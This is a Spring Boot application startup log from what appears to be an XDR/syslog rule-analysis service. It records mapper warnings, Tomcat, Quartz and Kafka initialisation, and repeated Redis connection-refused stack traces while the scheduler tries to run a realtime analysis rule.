2026-05-18 18:25:08.016 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 18:25:08.471 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 448 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-18 18:25:08.477 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 18:25:08.477 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 18:25:08.604 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-18 18:25:08.604 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 126 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-18 18:25:08.617 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 18:25:08.618 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-18 18:25:08.721 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-18 18:25:08.721 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 96 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-18 18:25:08.854 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmMapper' and 'com.common.mapper.AlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.854 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmVisitMapper' and 'com.common.mapper.AlarmVisitMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.854 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisAnalysisRuleMapper' and 'com.common.mapper.AnalysisAnalysisRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.856 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFieldMapper' and 'com.common.mapper.AnalysisFieldMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.856 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFilterMapper' and 'com.common.mapper.AnalysisFilterMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.856 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByColumnMapper' and 'com.common.mapper.AnalysisGroupByColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.856 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByHavingMapper' and 'com.common.mapper.AnalysisGroupByHavingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.856 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByMapper' and 'com.common.mapper.AnalysisGroupByMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.856 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByWindowMapper' and 'com.common.mapper.AnalysisGroupByWindowMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.856 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisTaskHistoryMapper' and 'com.common.mapper.AnalysisTaskHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.856 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisWhereConditionMapper' and 'com.common.mapper.AnalysisWhereConditionMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.856 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'appLogMapper' and 'com.common.mapper.AppLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.856 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatHistoryMapper' and 'com.common.mapper.DeviceCollectHeartbeatHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.856 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatMapper' and 'com.common.mapper.DeviceCollectHeartbeatMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectTaskMapper' and 'com.common.mapper.DeviceCollectTaskMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceDeviceMapper' and 'com.common.mapper.DeviceDeviceMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingCmdMapper' and 'com.common.mapper.DeviceInterlockingCmdMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingLogMapper' and 'com.common.mapper.DeviceInterlockingLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingMapper' and 'com.common.mapper.DeviceInterlockingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceReceiveLogMapper' and 'com.common.mapper.DeviceReceiveLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmColumnMapper' and 'com.common.mapper.DmColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmNormalizeRuleMapper' and 'com.common.mapper.DmNormalizeRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'normalizeRuleStatsMapper' and 'com.common.mapper.NormalizeRuleStatsMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'secExceptionAlgorithmMapper' and 'com.common.mapper.SecExceptionAlgorithmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNonNormalMessageMapper' and 'com.common.mapper.SyslogNonNormalMessageMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalAlarmMapper' and 'com.common.mapper.SyslogNormalAlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalDataMapper' and 'com.common.mapper.SyslogNormalDataMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'wecomNotificationMapper' and 'com.common.mapper.WecomNotificationMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'xdrHoneypotMapper' and 'com.common.mapper.XdrHoneypotMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:25:08.857 [main] WARN o.m.s.mapper.ClassPathMapperScanner - No MyBatis mapper was found in '[com.common.mapper]' package. Please check your configuration.
|
||||
2026-05-18 18:25:09.506 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-18 18:25:09.513 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 18:25:09.513 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-18 18:25:09.513 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-18 18:25:09.677 [main] INFO o.a.c.c.C.[.[.[/xdrservice] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-18 18:25:09.678 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 3879 ms
|
||||
2026-05-18 18:25:09.725 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-18 18:25:12.199 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 18:25:12.645 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-18 18:25:12.654 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-18 18:25:12.668 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-18 18:25:12.671 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-18 18:25:12.718 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-18 18:25:17.825 [main] INFO c.c.s.RealtimeAnalysisScheduler - ========== 初始化实时分析调度器 ==========
|
||||
2026-05-18 18:25:17.848 [main] INFO com.zaxxer.hikari.HikariDataSource - HikariPool-SyslogConsumer - Starting...
|
||||
2026-05-18 18:25:18.503 [main] INFO com.zaxxer.hikari.HikariDataSource - HikariPool-SyslogConsumer - Start completed.
|
||||
2026-05-18 18:25:18.686 [main] INFO c.c.s.RealtimeAnalysisScheduler - 查询到 1 个实时分析规则
|
||||
2026-05-18 18:25:26.741 [main] ERROR c.c.s.RealtimeAnalysisScheduler - 初始化规则执行时间失败: ruleId=4e134d65-1170-4d20-ab48-77f3fee6a765
|
||||
org.springframework.data.redis.RedisConnectionFailureException: Unable to connect to Redis; nested exception is io.lettuce.core.RedisConnectionException: Unable to connect to 192.168.222.131:6379
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$ExceptionTranslatingConnectionProvider.translateException(LettuceConnectionFactory.java:1689)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$ExceptionTranslatingConnectionProvider.getConnection(LettuceConnectionFactory.java:1597)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$SharedConnection.getNativeConnection(LettuceConnectionFactory.java:1383)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$SharedConnection.getConnection(LettuceConnectionFactory.java:1366)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory.getSharedConnection(LettuceConnectionFactory.java:1093)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory.getConnection(LettuceConnectionFactory.java:421)
|
||||
at org.springframework.data.redis.core.RedisConnectionUtils.fetchConnection(RedisConnectionUtils.java:193)
|
||||
at org.springframework.data.redis.core.RedisConnectionUtils.doGetConnection(RedisConnectionUtils.java:144)
|
||||
at org.springframework.data.redis.core.RedisConnectionUtils.getConnection(RedisConnectionUtils.java:105)
|
||||
at org.springframework.data.redis.core.RedisTemplate.execute(RedisTemplate.java:211)
|
||||
at org.springframework.data.redis.core.RedisTemplate.execute(RedisTemplate.java:191)
|
||||
at org.springframework.data.redis.core.RedisTemplate.hasKey(RedisTemplate.java:782)
|
||||
at com.common.service.impl.RuleExecutionTimeServiceImpl.initRuleExecuteTime(RuleExecutionTimeServiceImpl.java:73)
|
||||
at com.common.schedule.RealtimeAnalysisScheduler.initAllRules(RealtimeAnalysisScheduler.java:144)
|
||||
at com.common.schedule.RealtimeAnalysisScheduler.init(RealtimeAnalysisScheduler.java:64)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||
at org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor$LifecycleElement.invoke(InitDestroyAnnotationBeanPostProcessor.java:389)
|
||||
at org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor$LifecycleMetadata.invokeInitMethods(InitDestroyAnnotationBeanPostProcessor.java:333)
|
||||
at org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor.postProcessBeforeInitialization(InitDestroyAnnotationBeanPostProcessor.java:157)
|
||||
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyBeanPostProcessorsBeforeInitialization(AbstractAutowireCapableBeanFactory.java:440)
|
||||
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1796)
|
||||
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:620)
|
||||
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
|
||||
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
|
||||
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
|
||||
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
|
||||
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
|
||||
at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:955)
|
||||
at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:918)
|
||||
at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:583)
|
||||
at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh(ServletWebServerApplicationContext.java:147)
|
||||
at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:734)
|
||||
at org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:408)
|
||||
at org.springframework.boot.SpringApplication.run(SpringApplication.java:308)
|
||||
at org.springframework.boot.SpringApplication.run(SpringApplication.java:1306)
|
||||
at org.springframework.boot.SpringApplication.run(SpringApplication.java:1295)
|
||||
at com.syslogRuleApplication.main(syslogRuleApplication.java:46)
|
||||
Caused by: io.lettuce.core.RedisConnectionException: Unable to connect to 192.168.222.131:6379
|
||||
at io.lettuce.core.RedisConnectionException.create(RedisConnectionException.java:78)
|
||||
at io.lettuce.core.RedisConnectionException.create(RedisConnectionException.java:56)
|
||||
at io.lettuce.core.AbstractRedisClient.getConnection(AbstractRedisClient.java:330)
|
||||
at io.lettuce.core.RedisClient.connect(RedisClient.java:216)
|
||||
at org.springframework.data.redis.connection.lettuce.StandaloneConnectionProvider.lambda$getConnection$1(StandaloneConnectionProvider.java:115)
|
||||
at java.util.Optional.orElseGet(Optional.java:267)
|
||||
at org.springframework.data.redis.connection.lettuce.StandaloneConnectionProvider.getConnection(StandaloneConnectionProvider.java:115)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$ExceptionTranslatingConnectionProvider.getConnection(LettuceConnectionFactory.java:1595)
|
||||
... 38 common frames omitted
|
||||
Caused by: java.nio.channels.ClosedChannelException: null
|
||||
at io.netty.channel.nio.AbstractNioChannel.doClose(AbstractNioChannel.java:502)
|
||||
at io.netty.channel.socket.nio.NioSocketChannel.doClose(NioSocketChannel.java:349)
|
||||
at io.netty.channel.AbstractChannel$AbstractUnsafe.doClose0(AbstractChannel.java:754)
|
||||
at io.netty.channel.AbstractChannel$AbstractUnsafe.close(AbstractChannel.java:731)
|
||||
at io.netty.channel.AbstractChannel$AbstractUnsafe.close(AbstractChannel.java:620)
|
||||
at io.netty.channel.DefaultChannelPipeline$HeadContext.close(DefaultChannelPipeline.java:1352)
|
||||
at io.netty.channel.AbstractChannelHandlerContext.invokeClose(AbstractChannelHandlerContext.java:622)
|
||||
at io.netty.channel.AbstractChannelHandlerContext.access$1200(AbstractChannelHandlerContext.java:61)
|
||||
at io.netty.channel.AbstractChannelHandlerContext$11.run(AbstractChannelHandlerContext.java:611)
|
||||
at io.netty.util.concurrent.AbstractEventExecutor.runTask(AbstractEventExecutor.java:174)
|
||||
at io.netty.util.concurrent.AbstractEventExecutor.safeExecute(AbstractEventExecutor.java:167)
|
||||
at io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:470)
|
||||
at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:569)
|
||||
at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997)
|
||||
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
|
||||
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
|
||||
at java.lang.Thread.run(Thread.java:745)
|
||||
2026-05-18 18:25:26.748 [main] INFO c.c.s.RealtimeAnalysisScheduler - ========== 实时分析调度器初始化完成 ==========
|
||||
2026-05-18 18:25:26.754 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: public static com.common.service.DeviceDeviceService com.common.service.AccessLogAlertService.deviceDeviceService
|
||||
2026-05-18 18:25:26.780 [main] INFO c.c.service.AccessLogAlertService - 初始化AccessLogAlertService,上次处理时间: 2026-05-18T18:24:26.780
|
||||
2026-05-18 18:25:27.006 [main] INFO c.c.service.AccessLogAlertService - 加载了 1 个启用的算法配置
|
||||
2026-05-18 18:25:27.665 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 18:25:27.836 [main] INFO com.common.util.MyBatisUtil - MyBatis 初始化成功
|
||||
2026-05-18 18:25:27.910 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogApplication.dmColumnService
|
||||
2026-05-18 18:25:28.562 [main] INFO org.quartz.impl.StdSchedulerFactory - Using default implementation for ThreadExecutor
|
||||
2026-05-18 18:25:28.572 [main] INFO o.quartz.core.SchedulerSignalerImpl - Initialized Scheduler Signaller of type: class org.quartz.core.SchedulerSignalerImpl
|
||||
2026-05-18 18:25:28.572 [main] INFO org.quartz.core.QuartzScheduler - Quartz Scheduler v.2.3.2 created.
|
||||
2026-05-18 18:25:28.572 [main] INFO org.quartz.simpl.RAMJobStore - RAMJobStore initialized.
|
||||
2026-05-18 18:25:28.573 [main] INFO org.quartz.core.QuartzScheduler - Scheduler meta-data: Quartz Scheduler (v2.3.2) 'quartzScheduler' with instanceId 'NON_CLUSTERED'
|
||||
Scheduler class: 'org.quartz.core.QuartzScheduler' - running locally.
|
||||
NOT STARTED.
|
||||
Currently in standby mode.
|
||||
Number of jobs executed: 0
|
||||
Using thread pool 'org.quartz.simpl.SimpleThreadPool' - with 10 threads.
|
||||
Using job-store 'org.quartz.simpl.RAMJobStore' - which does not support persistence. and is not clustered.
|
||||
|
||||
2026-05-18 18:25:28.573 [main] INFO org.quartz.impl.StdSchedulerFactory - Quartz scheduler 'quartzScheduler' initialized from an externally provided properties instance.
|
||||
2026-05-18 18:25:28.573 [main] INFO org.quartz.impl.StdSchedulerFactory - Quartz scheduler version: 2.3.2
|
||||
2026-05-18 18:25:28.573 [main] INFO org.quartz.core.QuartzScheduler - JobFactory set to: org.springframework.scheduling.quartz.SpringBeanJobFactory@26cd77cc
|
||||
2026-05-18 18:25:28.765 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka version: 3.4.0
|
||||
2026-05-18 18:25:28.765 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka commitId: 2e1947d240607d53
|
||||
2026-05-18 18:25:28.765 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka startTimeMs: 1779099928763
|
||||
2026-05-18 18:25:28.789 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka version: 3.4.0
|
||||
2026-05-18 18:25:28.789 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka commitId: 2e1947d240607d53
|
||||
2026-05-18 18:25:28.789 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka startTimeMs: 1779099928789
|
||||
2026-05-18 18:25:28.793 [main] INFO o.a.coyote.http11.Http11NioProtocol - Starting ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 18:25:28.811 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat started on port(s): 8289 (http) with context path '/xdrservice'
|
||||
2026-05-18 18:25:28.812 [main] INFO o.s.s.quartz.SchedulerFactoryBean - Starting Quartz Scheduler now
|
||||
2026-05-18 18:25:28.812 [main] INFO org.quartz.core.QuartzScheduler - Scheduler quartzScheduler_$_NON_CLUSTERED started.
|
||||
2026-05-18 18:25:28.830 [main] INFO com.syslogRuleApplication - Started syslogRuleApplication in 23.7 seconds (JVM running for 28.729)
|
||||
2026-05-18 18:25:30.278 [org.springframework.kafka.KafkaListenerEndpointContainer#0-1-C-1] INFO o.s.k.l.KafkaMessageListenerContainer - test-group-app: partitions assigned: []
|
||||
2026-05-18 18:25:30.296 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] INFO o.s.k.l.KafkaMessageListenerContainer - test-group-app: partitions assigned: [test-topic-0]
|
||||
2026-05-18 18:25:31.106 [scheduling-2] ERROR c.c.s.RealtimeAnalysisScheduler - 检查和执行规则失败: ruleId=4e134d65-1170-4d20-ab48-77f3fee6a765
|
||||
org.springframework.data.redis.RedisConnectionFailureException: Unable to connect to Redis; nested exception is io.lettuce.core.RedisConnectionException: Unable to connect to 192.168.222.131:6379
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$ExceptionTranslatingConnectionProvider.translateException(LettuceConnectionFactory.java:1689)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$ExceptionTranslatingConnectionProvider.getConnection(LettuceConnectionFactory.java:1597)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$SharedConnection.getNativeConnection(LettuceConnectionFactory.java:1383)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$SharedConnection.getConnection(LettuceConnectionFactory.java:1366)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory.getSharedConnection(LettuceConnectionFactory.java:1093)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory.getConnection(LettuceConnectionFactory.java:421)
|
||||
at org.springframework.data.redis.core.RedisConnectionUtils.fetchConnection(RedisConnectionUtils.java:193)
|
||||
at org.springframework.data.redis.core.RedisConnectionUtils.doGetConnection(RedisConnectionUtils.java:144)
|
||||
at org.springframework.data.redis.core.RedisConnectionUtils.getConnection(RedisConnectionUtils.java:105)
|
||||
at org.springframework.data.redis.core.RedisTemplate.execute(RedisTemplate.java:211)
|
||||
at org.springframework.data.redis.core.RedisTemplate.execute(RedisTemplate.java:191)
|
||||
at org.springframework.data.redis.core.AbstractOperations.execute(AbstractOperations.java:97)
|
||||
at org.springframework.data.redis.core.DefaultValueOperations.get(DefaultValueOperations.java:54)
|
||||
at com.common.service.impl.RuleExecutionTimeServiceImpl.getNextExecuteTime(RuleExecutionTimeServiceImpl.java:35)
|
||||
at com.common.schedule.RealtimeAnalysisScheduler.checkAndExecuteRules(RealtimeAnalysisScheduler.java:97)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||
at org.springframework.scheduling.support.ScheduledMethodRunnable.run(ScheduledMethodRunnable.java:84)
|
||||
at org.springframework.scheduling.support.DelegatingErrorHandlingRunnable.run(DelegatingErrorHandlingRunnable.java:54)
|
||||
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
|
||||
at java.util.concurrent.FutureTask.runAndReset(FutureTask.java:308)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:180)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:294)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
|
||||
at java.lang.Thread.run(Thread.java:745)
|
||||
Caused by: io.lettuce.core.RedisConnectionException: Unable to connect to 192.168.222.131:6379
|
||||
at io.lettuce.core.RedisConnectionException.create(RedisConnectionException.java:78)
|
||||
at io.lettuce.core.RedisConnectionException.create(RedisConnectionException.java:56)
|
||||
at io.lettuce.core.AbstractRedisClient.getConnection(AbstractRedisClient.java:330)
|
||||
at io.lettuce.core.RedisClient.connect(RedisClient.java:216)
|
||||
at org.springframework.data.redis.connection.lettuce.StandaloneConnectionProvider.lambda$getConnection$1(StandaloneConnectionProvider.java:115)
|
||||
at java.util.Optional.orElseGet(Optional.java:267)
|
||||
at org.springframework.data.redis.connection.lettuce.StandaloneConnectionProvider.getConnection(StandaloneConnectionProvider.java:115)
|
||||
at org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory$ExceptionTranslatingConnectionProvider.getConnection(LettuceConnectionFactory.java:1595)
|
||||
... 26 common frames omitted
|
||||
Caused by: io.netty.channel.AbstractChannel$AnnotatedConnectException: Connection refused: no further information: /192.168.222.131:6379
|
||||
Caused by: java.net.ConnectException: Connection refused: no further information
|
||||
at sun.nio.ch.SocketChannelImpl.checkConnect(Native Method)
|
||||
at sun.nio.ch.SocketChannelImpl.finishConnect(SocketChannelImpl.java:717)
|
||||
at io.netty.channel.socket.nio.NioSocketChannel.doFinishConnect(NioSocketChannel.java:337)
|
||||
at io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe.finishConnect(AbstractNioChannel.java:334)
|
||||
at io.netty.channel.nio.NioEventLoop.processSelectedKey(NioEventLoop.java:776)
|
||||
at io.netty.channel.nio.NioEventLoop.processSelectedKeysOptimized(NioEventLoop.java:724)
|
||||
at io.netty.channel.nio.NioEventLoop.processSelectedKeys(NioEventLoop.java:650)
|
||||
at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:562)
|
||||
at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997)
|
||||
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
|
||||
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
|
||||
at java.lang.Thread.run(Thread.java:745)
|
||||
2026-05-18 18:25:43.412 [scheduling-2] ERROR c.c.s.RealtimeAnalysisScheduler - 检查和执行规则失败: ruleId=4e134d65-1170-4d20-ab48-77f3fee6a765
|
